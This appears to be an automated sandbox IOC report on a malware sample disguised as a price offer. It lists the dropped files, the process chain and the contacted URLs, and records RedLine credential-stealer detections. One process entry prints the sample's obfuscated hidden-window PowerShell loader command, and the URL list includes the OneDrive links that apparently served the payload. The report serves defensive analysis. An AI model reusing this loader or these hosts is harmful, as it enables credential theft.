Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

Price Offer_1200R4 1200R20.exe

PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

initial sample

C:\Users\user\AppData\Local\Temp\Gastrostomize.exe

PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

dropped

C:\Users\user\AppData\Local\Temp\Gastrostomize.exe:Zone.Identifier

ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Kaalhovedernes.Und33

ASCII text, with very long lines (65536), with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\nst4C1E.tmp\AdvSplash.dll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\AppData\Local\Temp\nst4C1E.tmp\nsDialogs.dll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Gastrostomize.exe.log

ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

data

modified

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hg1llhqc.aon.ps1

ASCII text, with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psbwawut.eua.psm1

ASCII text, with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Aarhusianeren.Sna

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\afviserblinkenes.cin

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\hambro.kio

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\hjlperen.adm

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\litografiens.eup

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\nontenurial.tra

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\stlndingen.dis

data

dropped

C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Flintekser\temperaturmaaling.txt

ASCII text, with CRLF line terminators

dropped

There are 8 hidden files, click here to show them.

Processes

Path

Cmdline

Malicious

C:\Users\user\Desktop\Price Offer_1200R4 1200R20.exe

"C:\Users\user\Desktop\Price Offer_1200R4 1200R20.exe"

Details

Is windows:	false
Is dropped:	false
PID:	7464
Target ID:	0
Parent PID:	2580
Name:	Price Offer_1200R4 1200R20.exe
Path:	C:\Users\user\Desktop\Price Offer_1200R4 1200R20.exe
Commandline:	"C:\Users\user\Desktop\Price Offer_1200R4 1200R20.exe"
Size:	633712
MD5:	4778E666C0776A614B0C3482A34874E7
Time:	15:30:54
Date:	12/07/2024
Reason:	newprocess
Reputation:	low
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	487424
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Multi AV Scanner detection for submitted file	AV Detection
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
PE / OLE file has an invalid certificate	System Summary
Uses 32bit PE files	Compliance, System Summary
PE file has an executable .text section and no other executable section	System Summary
Sample is known by Antivirus	System Summary
Sample reads its own file content	System Summary
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection
Contains modern PE file flags such as dynamic base (ASLR) or NX	Compliance, System Summary

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Facils=Get-Content 'C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Kaalhovedernes.Und33';$Cowpox=$Facils.SubString(36576,3);.$Cowpox($Facils)"

Details

Is windows:	true
Is dropped:	false
PID:	7492
Target ID:	1
Parent PID:	7464
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Commandline:	"powershell.exe" -windowstyle hidden "$Facils=Get-Content 'C:\Users\user\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Kaalhovedernes.Und33';$Cowpox=$Facils.SubString(36576,3);.$Cowpox($Facils)"
Size:	433152
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Time:	15:30:55
Date:	12/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x6f0000
Modulesize:	446464
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Users\user\AppData\Local\Temp\Gastrostomize.exe

"C:\Users\user\AppData\Local\Temp\Gastrostomize.exe"

Details

Is windows:	false
Is dropped:	true
PID:	7796
Target ID:	4
Parent PID:	7492
Name:	Gastrostomize.exe
Path:	C:\Users\user\AppData\Local\Temp\Gastrostomize.exe
Commandline:	"C:\Users\user\AppData\Local\Temp\Gastrostomize.exe"
Size:	633712
MD5:	4778E666C0776A614B0C3482A34874E7
Time:	15:31:13
Date:	12/07/2024
Reason:	newprocess
Reputation:	low
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	487424
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Yara detected RedLine Stealer	Stealing of Sensitive Information, Remote Access Functionality
Powershell drops PE file	System Summary	PowerShell
Writes to foreign memory regions	HIPS / PFW / Operating System Protection Evasion	Process Injection
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Drops PE files	Persistence and Installation Behavior
Queries the volume information (name, serial number etc) of a device	Language, Device and Operating System Detection	System Information Discovery
Yara detected Credential Stealer	Stealing of Sensitive Information
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	7500
Target ID:	2
Parent PID:	7492
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	862208
MD5:	0D698AF330FD17BEE3BF90011D49251D
Time:	15:30:55
Date:	12/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7699e0000
Modulesize:	892928
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text

unknown

http://schemas.xmlsoap.org/ws/2005/02/sc/sct

unknown

https://duckduckgo.com/chrome_newtab

unknown

http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk

unknown

https://duckduckgo.com/ac/?q=

unknown

http://tempuri.org/Entity/Id23ResponseD

unknown

http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary

unknown

http://tempuri.org/Entity/Id12Response

unknown

http://tempuri.org/

unknown

http://tempuri.org/Entity/Id2Response

unknown

http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1

unknown

http://tempuri.org/Entity/Id21Response

unknown

http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap

unknown

http://tempuri.org/Entity/Id9

unknown

http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID

unknown

http://tempuri.org/Entity/Id8

unknown

https://gcwema.bn.files.1drv.com/y

unknown

http://tempuri.org/Entity/Id5

unknown

http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare

unknown

http://tempuri.org/Entity/Id4

unknown

https://gcwema.bn.files.1drv.com/y4mqvM36ByLD9K0VAWLVL6a1k1_p1wIfrODC391i7sxjSbFXZaU8m53aP1PNPBAw-Z2

unknown

https://onedrive.live.com/

unknown

http://tempuri.org/Entity/Id7

unknown

http://tempuri.org/Entity/Id6

unknown

http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret

unknown

http://tempuri.org/Entity/Id19Response

unknown

https://gcwema.bn.files.1drv.com/d

unknown

http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license

unknown

http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue

unknown

http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted

unknown

http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence

unknown

https://gcwema.bn.files.1drv.com/y4mye_Jf7K0w86rbJFL3Cz44mUGm8bynBGyx6Ciamik_PJLoT5oqohZzX2QmYT8NSIF

unknown

http://schemas.xmlsoap.org/ws/2004/10/wsat/fault

unknown

http://schemas.xmlsoap.org/ws/2004/10/wsat

unknown

http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey

unknown

http://tempuri.org/Entity/Id15Response

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew

unknown

http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register

unknown

http://tempuri.org/Entity/Id6Response

unknown

http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey

unknown

https://api.ip.sb/ip

unknown

https://onedrive.live.com/download?resid=F547EE3E8FFF6BF5%21682&authkey=

unknown

http://schemas.xmlsoap.org/ws/2004/04/sc

unknown

http://tempuri.org/Entity/Id1ResponseD

unknown

http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC

unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
Price Offer_1200R4 1200R20.exe

Files

Processes

URLs

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC ReportPrice Offer_1200R4 1200R20.exe

Files

Processes

URLs

IOC Report
Price Offer_1200R4 1200R20.exe